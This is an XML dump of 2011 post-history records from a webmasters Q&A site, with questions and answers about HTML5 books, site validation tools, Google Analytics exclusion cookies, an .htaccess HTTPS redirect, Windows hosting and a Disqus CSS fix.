  <row Id="38084" PostHistoryTypeId="2" PostId="16039" RevisionGUID="0b79a18d-8c7f-4a57-a2ab-18eb60e9fc76" CreationDate="2011-06-27T22:09:20.670" UserId="7198" Text="Prezi is written in Flash/ActionScript, but there's no reason you couldn't attempt something similar with HTML/JavaScript. (Note that you won't be able to create an application like Prezi with HTML5 alone. You **will** need JavaScript too.)&#xD;&#xA;&#xD;&#xA;Here are my favourite books on both subjects:&#xD;&#xA;&#xD;&#xA;###HTML5 books&#xD;&#xA;&#xD;&#xA; - [*Introducing HTML5*](http://introducinghtml5.com/)&#xD;&#xA;   by Bruce Lawson and Remy Sharp.&#xD;&#xA; - [*HTML 5 for Web Designers*](http://www.abookapart.com/products/html5-for-web-designers)&#xD;&#xA;   by Jeremy Keith.&#xD;&#xA;&#xD;&#xA;###JavaScript books&#xD;&#xA; - [*Eloquent JavaScript*](http://eloquentjavascript.net/) by Marijn Haverbeke.&#xD;&#xA; - [*JavaScript: The Good Parts*](http://oreilly.com/catalog/9780596517748) by Douglas Crockford.&#xD;&#xA; - [*jQuery: Novice to Ninja*](http://www.sitepoint.com/books/jquery1/) by Earle Castledine &amp; Craig Sharkie.&#xD;&#xA; - [*jQuery in Action (2nd edition)*](http://www.manning.com/bibeault2/) by Bear Bibeault and Yehuda Katz.&#xD;&#xA;" />
  <row Id="38085" PostHistoryTypeId="16" PostId="16039" RevisionGUID="23435fc2-e3e7-41ec-ae9d-9637a1d913a6" CreationDate="2011-06-27T22:09:20.670" UserId="7198" />
  <row Id="38087" PostHistoryTypeId="2" PostId="16040" RevisionGUID="0e1e10d0-db99-4540-b984-5a3c4415d3aa" CreationDate="2011-06-27T22:38:09.430" UserId="6901" Text="This isn't actually a solution, it's more of a way that someone could implement this if they were interested in doing so:&#xD;&#xA;&#xD;&#xA; 1. A user rates a wiki page. He either gives it a thumbs up or a thumbs down. &#xD;&#xA;&#xD;&#xA; 2. The wiki software looks through the page history to determine how much of the page was written by different authors. Let's say that user one has contributed 50% of the characters in the page, and that users two and three have contributed 25% of the characters in the page.&#xD;&#xA;&#xD;&#xA; 3. The wiki software awards 50% of the points that a thumbs up is worth to user 1, and 25% of the points to users two and three. If a thumbs up is worth 10 points, than user 1 get's 5 points of reputation, and users two and three get 2.5 points of reputation.&#xD;&#xA;&#xD;&#xA; 4. You can do the same thing with down votes, only you take away points instead of adding them.&#xD;&#xA;&#xD;&#xA;*NOTE: the rating system only analyzes how much of the content users wrote in the current version of this page at the time the rating was given. If user 4 also contributed to the page, but then users one, two, and three completely removed his contributions, user 4 will not get any reputation points.*&#xD;&#xA;&#xD;&#xA;*NOTE: if user 5 comes along, and then edits the page, user 5 will only get reputation if someone upvotes the page when some of her original content is displayed on the page. **Again, reputation is only given to users whose content is appearing at the current version of the page at the time the rating was given.***&#xD;&#xA;&#xD;&#xA;*NOTE: it would be a good idea to allow for users to re-rate the page if any edits are made to it, so that they can downvote the page if a user forgets to cite a claim or something in an edit that they made after the vote was issued.*&#xD;&#xA;&#xD;&#xA;BTW if anyone was willing to create a wiki plugin/script that did this, then that would be great. If there is already a wiki plugin/script that does this, please post it in the comments." />
  <row Id="38089" PostHistoryTypeId="2" PostId="16041" RevisionGUID="252639b9-71f7-42ec-85a4-54b415fde732" CreationDate="2011-06-27T23:19:38.900" UserId="4502" Text="Some work already being done on alternatives, all SVG-based:&#xD;&#xA;&#xD;&#xA;* &lt;a href=&quot;http://sozi.baierouge.fr/wiki/en:welcome&quot;&gt;Sozi&lt;/a&gt;&#xD;&#xA;* &lt;a href=&quot;http://dizzy.metafnord.org/&quot;&gt;Dizzy&lt;/a&gt;&#xD;&#xA;* &lt;a href=&quot;http://code.google.com/p/jessyink/&quot;&gt;JessyInk&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;I'll leave it to you to decide whether SVG &lt;a href=&quot;http://www.w3.org/html/logo/&quot;&gt;counts&lt;/a&gt; as &quot;HTML5&quot;..." />
  <row Id="38090" PostHistoryTypeId="16" PostId="16041" RevisionGUID="37e51127-a4cc-4278-a310-0c6544d746dd" CreationDate="2011-06-27T23:19:38.900" UserId="4502" />
  <row Id="38091" PostHistoryTypeId="25" PostId="16015" RevisionGUID="39f373dc-c211-4bc2-adf0-c27ff305b641" CreationDate="2011-06-28T00:25:54.603" Comment="http://twitter.com/#!/StackWebmasters/status/85504155933880320" />
  <row Id="38095" PostHistoryTypeId="17" PostId="16043" RevisionGUID="b4e1580d-9600-4f44-bdd8-9ee9e5d4c433" CreationDate="2011-06-28T01:36:59.693" UserId="-1" Comment="from http://stackoverflow.com/questions/6497459/automated-website-testing-sanity-quality" Text="" />
  <row Id="38096" PostHistoryTypeId="17" PostId="16044" RevisionGUID="a7c0995e-6087-4d99-9c8e-d266924b4899" CreationDate="2011-06-28T01:36:59.693" UserId="-1" Comment="from http://stackoverflow.com/questions/6497459/automated-website-testing-sanity-quality" Text="" />
  <row Id="38097" PostHistoryTypeId="2" PostId="16044" RevisionGUID="89e8be2e-e3ed-4678-a32c-f21abf5f2f12" CreationDate="2011-06-27T23:08:23.327" UserId="3328" Text="I think you'd be the first if you made a package that can&#xD;&#xA;&#xD;&#xA; - Scan a web site for resources&#xD;&#xA; - Validate HTML&#xD;&#xA; - Validate CSS&#xD;&#xA; - Validate JS&#xD;&#xA; - Find Broken Links&#xD;&#xA;&#xD;&#xA;I can think of a couple of ways to do some of those.&#xD;&#xA;&#xD;&#xA;You might be able to use [HTTrack](http://www.httrack.com/) or other website copier to **scan for resources**.&#xD;&#xA;&#xD;&#xA;**HTML validation** could be done with this tool: [WDG HTML Validator](http://www.htmlhelp.com/tools/validator/) (has a *Validate Entire Site* option)&#xD;&#xA;&#xD;&#xA;There's a Microsoft plugin for IIS - [Search Engine Optimization Toolkit](http://www.iis.net/download/SEOToolkit), it can scan a given site for **broken links** (along with several other pretty nifty site stats)&#xD;&#xA;&#xD;&#xA;Can't think of any that will validate CSS and JS while scanning an entire site, modern web design practices usually yield a small number of JS/CSS files anyway so you may be fine one-offing those in some circumstances.  I can see potential for a need to scan inline JS/CSS though.&#xD;&#xA;&#xD;&#xA;--------&#xD;&#xA;&#xD;&#xA;To assist you in developing such a tool you could download the source for&#xD;&#xA;&#xD;&#xA;**W3C Markup-Validator**: http://dvcs.w3.org/hg/markup-validator/&#xD;&#xA;&#xD;&#xA;**CSS Lint**: https://github.com/stubbornella/csslint&#xD;&#xA;&#xD;&#xA;**JS Lint**: https://github.com/douglascrockford/JSLint&#xD;&#xA;" />
  <row Id="38098" PostHistoryTypeId="2" PostId="16043" RevisionGUID="1f92d6cb-f062-4de9-9183-36834f0a3c06" CreationDate="2011-06-27T18:48:29.007" UserDisplayName="Jeff" Text="I am thinking about building a tool that starts from the root of a webpage and traverses the entire website gathering a list of resources such as CSS/HTML/Javascript files and then runs CSS/Javascript Lint + HTML Validator + Broken Link Finder. Before I start building something like this, I was wondering if this exists already?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;I already searched Google quite a bit and couldn't find much." />
  <row Id="38099" PostHistoryTypeId="1" PostId="16043" RevisionGUID="1f92d6cb-f062-4de9-9183-36834f0a3c06" CreationDate="2011-06-27T18:48:29.007" UserDisplayName="Jeff" Text="Automated Website Testing/Sanity/Quality" />
  <row Id="38100" PostHistoryTypeId="3" PostId="16043" RevisionGUID="1f92d6cb-f062-4de9-9183-36834f0a3c06" CreationDate="2011-06-27T18:48:29.007" UserDisplayName="Jeff" Text="&lt;javascript&gt;&lt;html&gt;&lt;css&gt;&lt;testing&gt;" />
  <row Id="38101" PostHistoryTypeId="2" PostId="16045" RevisionGUID="3da1d04f-5c3a-45af-960a-16266a2f85e5" CreationDate="2011-06-28T01:50:01.307" UserId="1585" Text="I havent bought the server yet (possible VPS) but i am thinking about using linux with apache and mono for asp.net support.&#xD;&#xA;&#xD;&#xA;I don't know much about this. What packages can i use together to have a store with customer support? What i like is&#xD;&#xA;&#xD;&#xA;1) A store to purchase one item (its digital). More may be possible but they are likely to be addons which need the first item.&#xD;&#xA;2) Have the the store send messages to my app which will generate registration key and deliver the digital item.&#xD;&#xA;3) Create an account for that customer on a support site used for tickets&#xD;&#xA;4) A Forum. I'd like a private forum for customers and may want their account to be disabled when their product license has expired.&#xD;&#xA;5) A mailing list. I like non customers be able to subscribe to a list and i'd like to know if any customers are on it so i can send different emails to each if desired.&#xD;&#xA;&#xD;&#xA;Are there packages that make any of these easy? I dont mind writing glue code if i need to but i havent tried any stores, mailing list, ticket system but have installed a forum once long ago. &#xD;&#xA;&#xD;&#xA;My mail server will likely be through google apps.&#xD;&#xA;" />
  <row Id="38102" PostHistoryTypeId="1" PostId="16045" RevisionGUID="3da1d04f-5c3a-45af-960a-16266a2f85e5" CreationDate="2011-06-28T01:50:01.307" UserId="1585" Text="What packages can i use to unroll a complete store with customer service?" />
  <row Id="38103" PostHistoryTypeId="3" PostId="16045" RevisionGUID="3da1d04f-5c3a-45af-960a-16266a2f85e5" CreationDate="2011-06-28T01:50:01.307" UserId="1585" Text="&lt;customer-service&gt;&lt;mailing-list&gt;" />
  <row Id="38104" PostHistoryTypeId="17" PostId="16046" RevisionGUID="a1b19ad8-7225-4e28-a32d-2e4dce005b9c" CreationDate="2011-06-28T02:01:52.997" UserId="-1" Comment="from http://stackoverflow.com/questions/6497777/intranet-content-management-system" Text="" />
  <row Id="38105" PostHistoryTypeId="17" PostId="16047" RevisionGUID="8953bb09-b82d-43b2-91c9-9b32e52496cd" CreationDate="2011-06-28T02:01:52.997" UserId="-1" Comment="from http://stackoverflow.com/questions/6497777/intranet-content-management-system" Text="" />
  <row Id="38106" PostHistoryTypeId="2" PostId="16047" RevisionGUID="2f7b43a4-78a4-47ad-afde-fb8ea0beb2c8" CreationDate="2011-06-27T19:22:54.807" UserDisplayName="Phil" Text="I just installed [Sharepoint Foundations][1] and it was easy to set up and the quite powerful. The best part about it is that it's free! &#xD;&#xA;&#xD;&#xA;I don't know what you're using, but it connects instantly with active directory (AD) if it's on the same domain as the AD server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sharepoint.microsoft.com/en-us/product/Related-Technologies/Pages/SharePoint-Foundation.aspx" />
  <row Id="38107" PostHistoryTypeId="2" PostId="16046" RevisionGUID="c15d2c14-76dc-4543-a06c-c245df9dc54a" CreationDate="2011-06-27T19:18:16.360" UserDisplayName="qroberts" Text="I am looking to find a free CMS that would be suitable for an intranet environment with around 50 users. What suggestions do you guys have?&#xD;&#xA;&#xD;&#xA;All that is required really is a few pages listing links to different documents on the network and possibly an event calender." />
  <row Id="38108" PostHistoryTypeId="1" PostId="16046" RevisionGUID="c15d2c14-76dc-4543-a06c-c245df9dc54a" CreationDate="2011-06-27T19:18:16.360" UserDisplayName="qroberts" Text="Intranet Content Management System" />
  <row Id="38109" PostHistoryTypeId="3" PostId="16046" RevisionGUID="c15d2c14-76dc-4543-a06c-c245df9dc54a" CreationDate="2011-06-27T19:18:16.360" UserDisplayName="qroberts" Text="&lt;cms&gt;&lt;free&gt;&lt;intranet&gt;" />
  <row Id="38110" PostHistoryTypeId="5" PostId="15552" RevisionGUID="8c66a33b-c129-452a-8cc8-74869e6b6e00" CreationDate="2011-06-28T02:25:35.343" UserId="8070" Comment="Added update." Text="I'm trying to set up an exclusion filter with a browser cookie, so that my own visits to my don't show up in my Google Analytics.  I tried 3 different methods and none of them have worked so far.  I would like help understanding what I am doing wrong and how I can fix this.&#xD;&#xA;&#xD;&#xA;**Method 1**  &#xD;&#xA;First, I tried following Google's instructions, http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55481, for excluding traffic by Cookie Content:&#xD;&#xA;&#xD;&#xA;&gt; Create a new page on your domain,&#xD;&#xA;&gt; containing the following code:&#xD;&#xA;&gt;   &#xD;&#xA;&gt; &lt;!-- language: lang-html --&gt;&#xD;&#xA;&gt;   &#xD;&#xA;&gt;     &lt;body onLoad=&quot;javascript:pageTracker._setVar('test_value');&quot;&gt;&#xD;&#xA;&#xD;&#xA;**Method 2**  &#xD;&#xA;Next, when that didn't work, I googled around and found this Google thread, http://www.google.com/support/forum/p/Google%20Analytics/thread?tid=4741f1499823fcd5&amp;hl=en, where the most popular answer says to use a slightly different code:  &#xD;&#xA;&#xD;&#xA;&gt; SHS Analytics wrote:  &#xD;&#xA;&gt;&#xD;&#xA;&gt; &lt;!-- language: lang-html --&gt;  &#xD;&#xA;&gt;&#xD;&#xA;&gt;      &lt;body onLoad=&quot;javascript:_gaq.push(['_setVar','test_value']);&quot;&gt;&#xD;&#xA;&gt; &#xD;&#xA;&gt; Thank you! This has now set a __utmv cookie containing &quot;test_value&quot;,&#xD;&#xA;&gt; whereas the original:  &#xD;&#xA;&gt; &#xD;&#xA;&gt; &lt;!-- language: lang-js --&gt;  &#xD;&#xA;&gt;&#xD;&#xA;&gt;      pageTracker._setVar('test_value')&#xD;&#xA;&gt; &#xD;&#xA;&gt; (which Google is still recommending)&#xD;&#xA;&gt; did not manage to do that for me (in&#xD;&#xA;&gt; Mac Safari 5 and Firefox 3.6.8).&#xD;&#xA;&#xD;&#xA;So I tried this code, but it didn't work for me.  &#xD;&#xA;&#xD;&#xA;**Method 3**  &#xD;&#xA;Finally, I searched StackOverflow and came across this thread, http://stackoverflow.com/questions/3495270/exclude-my-traffic-from-google-analytics-using-cookie-with-subdomain, which suggests that the following code might work:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-html --&gt;&#xD;&#xA;&#xD;&#xA;     &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;        var _gaq = _gaq || [];&#xD;&#xA;        _gaq.push(['_setVar', 'exclude_me']);&#xD;&#xA;        _gaq.push(['_setAccount', 'UA-xxxxxxxx-x']);&#xD;&#xA;        _gaq.push(['_trackPageview']);&#xD;&#xA;     // etc...&#xD;&#xA;     &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;This script appeared in the head element in the example, instead of in the onload event of the body like in the previous 2 examples.  So I tried this too, but still had no luck with trying to exclude myself from Google Analytics.&#xD;&#xA;&#xD;&#xA;**Re-iterate question**  &#xD;&#xA;So, I tried all 3 methods above with no success.  Am I doing something wrong?  How can I exclude myself from my Google Analytics using an exclusion cookie for my browser? &#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;I've been testing this for several days now, and I've confirmed that the 2nd method of excluding yourself from tracking does indeed work. The problem was that the filter settings weren't properly applied to my profile, which has been corrected.  See the accepted answer below." />
  <row Id="38111" PostHistoryTypeId="2" PostId="16048" RevisionGUID="fbd6cf8e-84ad-408b-a6b6-432013548bc6" CreationDate="2011-06-28T03:15:00.880" UserId="6028" Text="I'm looking to use an .htaccess file to use mod_rewrite to switch the protocol from http:// to https:// when someone hits my website.&#xD;&#xA;&#xD;&#xA;For instance, once someone goes to:&#xD;&#xA;http://www.mywebsite.com/&#xD;&#xA;&#xD;&#xA;I'd like the browser to switch to:&#xD;&#xA;http**s**://www.mywebsite.com/&#xD;&#xA;&#xD;&#xA;The same goes for the http://mywebsite.com/ -&gt; https://mywebsite.com&#xD;&#xA;&#xD;&#xA;This is the following code I've been using and I've experienced some odd things so if anyone could provide me with information if this is the right way to do it, or if you have a better way, please provide it. Thanks in advance.&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{SERVER_PORT} !=443&#xD;&#xA;    RewriteRule ^(.*)$ https://www.ebaillv.com/$1 [R=301,L]" />
  <row Id="38112" PostHistoryTypeId="1" PostId="16048" RevisionGUID="fbd6cf8e-84ad-408b-a6b6-432013548bc6" CreationDate="2011-06-28T03:15:00.880" UserId="6028" Text="Switch to https" />
  <row Id="38113" PostHistoryTypeId="3" PostId="16048" RevisionGUID="fbd6cf8e-84ad-408b-a6b6-432013548bc6" CreationDate="2011-06-28T03:15:00.880" UserId="6028" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;mod-rewrite&gt;" />
  <row Id="38114" PostHistoryTypeId="25" PostId="16043" RevisionGUID="b68c06ab-3274-4c41-ace7-9c4d05468146" CreationDate="2011-06-28T03:25:55.867" Comment="http://twitter.com/#!/StackWebmasters/status/85549459236335616" />
  <row Id="38119" PostHistoryTypeId="17" PostId="16050" RevisionGUID="6e1078d4-7bc2-4226-9c03-d7646a41e7a4" CreationDate="2011-06-28T03:45:42.817" UserId="-1" Comment="from http://stackoverflow.com/questions/6500992/is-there-any-recommended-windows-web-hosting" Text="" />
  <row Id="38120" PostHistoryTypeId="17" PostId="16051" RevisionGUID="52eeaf72-8bd3-4ea3-8691-a4cd8b19186e" CreationDate="2011-06-28T03:45:42.817" UserId="-1" Comment="from http://stackoverflow.com/questions/6500992/is-there-any-recommended-windows-web-hosting" Text="" />
  <row Id="38121" PostHistoryTypeId="2" PostId="16051" RevisionGUID="9bc2600d-dec7-4abb-8eb8-2615a92a2ab0" CreationDate="2011-06-28T02:43:01.223" UserDisplayName="success_anil" Text="go through http://www.sectorlink.com/&#xD;&#xA;&#xD;&#xA;or http://www.godaddy.com/&#xD;&#xA;&#xD;&#xA;I 'm using them .. there service is excellent." />
  <row Id="38122" PostHistoryTypeId="2" PostId="16050" RevisionGUID="447bf1f6-f8f3-473e-a5a1-6339c0f4ea08" CreationDate="2011-06-28T02:40:09.143" UserDisplayName="Frankel" Text="My plan is to deploy a web site based on Asp.net + MS SQL server. I am not familiar with the windows web hosting market. Can anyone provide some suggestion? Thanks a lot." />
  <row Id="38123" PostHistoryTypeId="1" PostId="16050" RevisionGUID="447bf1f6-f8f3-473e-a5a1-6339c0f4ea08" CreationDate="2011-06-28T02:40:09.143" UserDisplayName="Frankel" Text="Is there any recommended windows web hosting?" />
  <row Id="38124" PostHistoryTypeId="3" PostId="16050" RevisionGUID="447bf1f6-f8f3-473e-a5a1-6339c0f4ea08" CreationDate="2011-06-28T02:40:09.143" UserDisplayName="Frankel" Text="&lt;windows&gt;&lt;web-hosting&gt;" />
  <row Id="38125" PostHistoryTypeId="2" PostId="16052" RevisionGUID="3107c209-67f0-45aa-bcac-fff49d2385a3" CreationDate="2011-06-28T04:13:52.693" UserId="8058" Text="You could try checking for HTTPS instead of whether the port is 443. Also, the rule below matches everything and redirects it to exactly the same as it was but with the https. You could probably throw the [R=301, L] at the end of it if you wanted.&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteCond %{HTTPS} off&#xD;&#xA;    RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}" />
  <row Id="38126" PostHistoryTypeId="2" PostId="16053" RevisionGUID="34154716-cb2c-4251-b57a-4f472a57fa25" CreationDate="2011-06-28T04:39:53.740" UserId="8530" Text="hostriver.com is very good WINDOWS and PHP hosting provider with reasonable price with hot deals time to time &#xD;&#xA;&#xD;&#xA;I am already using......." />
  <row Id="38127" PostHistoryTypeId="5" PostId="16053" RevisionGUID="c154f658-64db-4063-aa92-23679bb55506" CreationDate="2011-06-28T04:50:16.280" UserId="8530" Comment="added 1 characters in body" Text="hostrivers.com is very good WINDOWS and PHP hosting provider with reasonable price with hot deals time to time &#xD;&#xA;&#xD;&#xA;I am already using......." />
  <row Id="38128" PostHistoryTypeId="2" PostId="16054" RevisionGUID="7de66149-f354-41fa-b3c0-98e527709476" CreationDate="2011-06-28T06:20:59.700" UserId="7978" Text="Have a look at [VPS.net][1], and get your own dedicated server. You can get startet as low as $1/day or $20/month. No contracts or minimum time, cancel anytime you want - And you are billed by the minute.&#xD;&#xA;&#xD;&#xA;Another nice thing with [VPS.net][1], is that you can scale your server if you want to. Just add more nodes (additional costs), and instantly get more processing power, ram, drivespace and bandwith.&#xD;&#xA;&#xD;&#xA;Have a look at it, [http://www.vps.net/product/cloud-servers][2].&#xD;&#xA;&#xD;&#xA;And yes they also have Windows images. And if it don't work for you just stop using, and pay for the time used.&#xD;&#xA;&#xD;&#xA;I'm not affiliated with [VPS.net][1] in any way, haven't tried them, but would sure give them a go if my self-managed server at work breaks down.&#xD;&#xA;&#xD;&#xA;I have tried [(mt) MediaTemple][3], their (dv) product. And was somewhat happy with them, but the response time from USA to Denmark was a deal-breaker.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vps.net&#xD;&#xA;  [2]: http://www.vps.net/product/cloud-servers&#xD;&#xA;  [3]: http://mediatemple.net" />
  <row Id="38129" PostHistoryTypeId="25" PostId="16050" RevisionGUID="bbb9ba5d-1c26-4bc0-8030-0e4a60c0639a" CreationDate="2011-06-28T06:25:56.083" Comment="http://twitter.com/#!/StackWebmasters/status/85594757807616000" />
  <row Id="38130" PostHistoryTypeId="2" PostId="16055" RevisionGUID="ff7dd88f-c00d-4cb5-ae5b-d68ea973ba73" CreationDate="2011-06-28T06:51:57.490" UserId="5026" Text="I use Disqus comments plugin for Wordpress, and the comments section is indented to the right like a blockquote is.&#xD;&#xA;&#xD;&#xA;The code appearing in the front end post is:&#xD;&#xA;&#xD;&#xA;     &lt;div id=&quot;disqus_thread&quot;&gt;&#xD;&#xA;        &lt;div id=&quot;dsq-content&quot;&gt;&#xD;&#xA;            &lt;ul id=&quot;dsq-comments&quot;&gt;&#xD;&#xA;            &lt;/ul&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;I cannot find any instance of disqus_thread or dsq using a search of the theme folder; not that searching inside file in Windows 7 isn't a complete pain in the arse.&#xD;&#xA;&#xD;&#xA;Can you see why this is happening?  [Example post here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.superlogical.net/society/greed/2011/06/beer-prices-in-perth/" />
  <row Id="38131" PostHistoryTypeId="1" PostId="16055" RevisionGUID="ff7dd88f-c00d-4cb5-ae5b-d68ea973ba73" CreationDate="2011-06-28T06:51:57.490" UserId="5026" Text="Comments section being indented by mysterious CSS" />
  <row Id="38132" PostHistoryTypeId="3" PostId="16055" RevisionGUID="ff7dd88f-c00d-4cb5-ae5b-d68ea973ba73" CreationDate="2011-06-28T06:51:57.490" UserId="5026" Text="&lt;css&gt;&lt;comments&gt;" />
  <row Id="38133" PostHistoryTypeId="2" PostId="16056" RevisionGUID="66fa6f1f-76a6-4ebd-864c-56c489e63b7e" CreationDate="2011-06-28T07:01:25.500" UserId="7674" Text="Not only do you render the form, but you also interact with it through Javascript. I don't think it will have any kind of adverse effect on your ranking, if that's what you're concerned with.&#xD;&#xA;&#xD;&#xA;And if you have content that is generated through Javascript, especially Ajax, then it will not be crawled unless you [specifically tell it to][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/web/ajaxcrawling/" />
  <row Id="38134" PostHistoryTypeId="2" PostId="16057" RevisionGUID="166df350-1c14-4938-92ce-0dc29d3d0134" CreationDate="2011-06-28T07:17:38.403" UserId="7198" Text="Your `#dsq-content` div has a `margin-left` value of 30px. Add the following to the bottom of your WordPress theme's stylesheet to override it:&#xD;&#xA;&#xD;&#xA;    div#content div#disqus_thread div#dsq-content.clearfix{&#xD;&#xA;        margin-left:0;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;To edit a theme's stylesheet, go to the Appearance &gt; Editor panel in the WordPress admin area." />
  <row Id="38135" PostHistoryTypeId="2" PostId="16058" RevisionGUID="4eeebf60-d920-467e-9c31-60c498a5c113" CreationDate="2011-06-28T07:20:33.020" UserId="8656" Text="Recently i started to optimize my company's website. With a little help of market samurai.&#xD;&#xA;&#xD;&#xA;One of the adjustments was a www redirect to the prefered domain. We currently&#xD;&#xA;rank on #8 for our desired keyword with the domain without the www. If I add a custom url (our domain with www), we see a difference in stats BLP... {it's the website on top}&#xD;&#xA;&#xD;&#xA;Can anyone tell me how i could merge this so we might even rank better for our keyword?&#xD;&#xA;&#xD;&#xA;What I did so far:&#xD;&#xA;---------------------------&#xD;&#xA;&#xD;&#xA;3 weeks ago set the www.duo.be as prefered domain in GWT and put a 301 redirect in place so the duo.be gets redirected to www.duo.be&#xD;&#xA;Both domains are in GWT and both with www.duo.be as preferred domain.&#xD;&#xA;&#xD;&#xA;Tho I see no change.&#xD;&#xA;&#xD;&#xA;Can anyone help me out, because i'm clueless.&#xD;&#xA;&#xD;&#xA;Marketsamurai screenshot: hxxp://dl.dropbox.com/u/747128/differenceStats.png&#xD;&#xA;*Can't post screenshots, because i'm new here*&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38136" PostHistoryTypeId="1" PostId="16058" RevisionGUID="4eeebf60-d920-467e-9c31-60c498a5c113" CreationDate="2011-06-28T07:20:33.020" UserId="8656" Text="Difference in stats on the same domain - seo related" />
  <row Id="38137" PostHistoryTypeId="3" PostId="16058" RevisionGUID="4eeebf60-d920-467e-9c31-60c498a5c113" CreationDate="2011-06-28T07:20:33.020" UserId="8656" Text="&lt;seo&gt;&lt;google-webmaster-tools&gt;&lt;301-redirect&gt;" />
  <row Id="38139" PostHistoryTypeId="2" PostId="16060" RevisionGUID="0f1fa6d8-fa9a-4ef4-99af-9bfcd7258a86" CreationDate="2011-06-28T07:54:56.250" UserId="7198" Text="Your ISP is probably caching requests to those sites (a little too aggressively, by the sounds of it). Unfortunately, you can't clear your ISP's cache in the same way that you can clear your browser cache, so there's little you can do about it beyond:&#xD;&#xA;&#xD;&#xA;1. Waiting for their cache to expire (usually around 24 hours).&#xD;&#xA;1. Changing your ISP.&#xD;&#xA;2. Connecting via a VPN, which bypasses your ISP's caching mechanisms. (I use [StrongVPN](http://strongvpn.com/).)" />
  <row Id="38140" PostHistoryTypeId="5" PostId="16058" RevisionGUID="e0ecc345-97b7-49b1-8e50-acb1d70e20ca" CreationDate="2011-06-28T07:59:18.580" UserId="1643" Comment="Put in image" Text="Recently i started to optimize my company's website. With a little help of market samurai.&#xD;&#xA;&#xD;&#xA;One of the adjustments was a www redirect to the prefered domain. We currently&#xD;&#xA;rank on #8 for our desired keyword with the domain without the www. If I add a custom url (our domain with www), we see a difference in stats BLP... {it's the website on top}&#xD;&#xA;&#xD;&#xA;Can anyone tell me how i could merge this so we might even rank better for our keyword?&#xD;&#xA;&#xD;&#xA;What I did so far:&#xD;&#xA;---------------------------&#xD;&#xA;&#xD;&#xA;3 weeks ago set the www.duo.be as prefered domain in GWT and put a 301 redirect in place so the duo.be gets redirected to www.duo.be&#xD;&#xA;Both domains are in GWT and both with www.duo.be as preferred domain.&#xD;&#xA;&#xD;&#xA;Tho I see no change.&#xD;&#xA;&#xD;&#xA;Can anyone help me out, because i'm clueless.&#xD;&#xA;&#xD;&#xA;Marketsamurai screenshot: ![table of stats]&#xD;&#xA;[1]http://i.stack.imgur.com/CYkb8.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Js3cF.png" />
  <row Id="38144" PostHistoryTypeId="5" PostId="16058" RevisionGUID="f67a13aa-9a95-492d-aa03-affdbba69849" CreationDate="2011-06-28T08:07:57.823" UserId="1643" Comment="added 21 characters in body" Text="Recently i started to optimize my company's website. With a little help of market samurai.&#xD;&#xA;&#xD;&#xA;One of the adjustments was a www redirect to the prefered domain. We currently&#xD;&#xA;rank on #8 for our desired keyword with the domain without the www. If I add a custom url (our domain with www), we see a difference in stats BLP (backlinks to the page) {it's the website on top}&#xD;&#xA;&#xD;&#xA;Can anyone tell me how i could merge this so we might even rank better for our keyword?&#xD;&#xA;&#xD;&#xA;What I did so far:&#xD;&#xA;---------------------------&#xD;&#xA;&#xD;&#xA;3 weeks ago set the www.duo.be as prefered domain in GWT and put a 301 redirect in place so the duo.be gets redirected to www.duo.be&#xD;&#xA;Both domains are in GWT and both with www.duo.be as preferred domain.&#xD;&#xA;&#xD;&#xA;Tho I see no change.&#xD;&#xA;&#xD;&#xA;Can anyone help me out, because i'm clueless.&#xD;&#xA;&#xD;&#xA;Marketsamurai screenshot: ![table of stats]&#xD;&#xA;[1]http://i.stack.imgur.com/CYkb8.png&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Js3cF.png" />
  <row Id="38145" PostHistoryTypeId="2" PostId="16062" RevisionGUID="4f58ce3e-d516-4836-bbb4-d7bc1db92211" CreationDate="2011-06-28T09:10:57.847" UserId="925" Text="I logged into Google Analytics today and under 'Traffic Sources' saw: &quot;Referring sites&quot;, &quot;Direct Traffic&quot;, &quot;Search Engines&quot; and &quot;Other&quot;. I've never seen 'other' before, and it was small (only 0.5%), but what does &quot;Other&quot; mean?" />
  <row Id="38146" PostHistoryTypeId="1" PostId="16062" RevisionGUID="4f58ce3e-d516-4836-bbb4-d7bc1db92211" CreationDate="2011-06-28T09:10:57.847" UserId="925" Text="What does &quot;Other&quot; mean for Traffic Source on Google Analytics?" />
  <row Id="38147" PostHistoryTypeId="3" PostId="16062" RevisionGUID="4f58ce3e-d516-4836-bbb4-d7bc1db92211" CreationDate="2011-06-28T09:10:57.847" UserId="925" Text="&lt;seo&gt;&lt;google-analytics&gt;" />
  <row Id="38148" PostHistoryTypeId="25" PostId="16062" RevisionGUID="f214f1e0-654e-435a-b8bd-5c2fc175c8ca" CreationDate="2011-06-28T09:25:55.940" Comment="http://twitter.com/#!/StackWebmasters/status/85640057163231232" />
  <row Id="38149" PostHistoryTypeId="2" PostId="16063" RevisionGUID="b6a9f3ff-fd5e-4125-9367-cb76699ddd48" CreationDate="2011-06-28T09:52:29.497" UserId="7198" Text="'Other' means traffic sent from:&#xD;&#xA;&#xD;&#xA; - Email clients, via email campaigns or people sharing links to your site by email.&#xD;&#xA; - [Tagged links](http://www.google.com/support/analytics/bin/answer.py?answer=55578) for any marketing campaigns you run.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
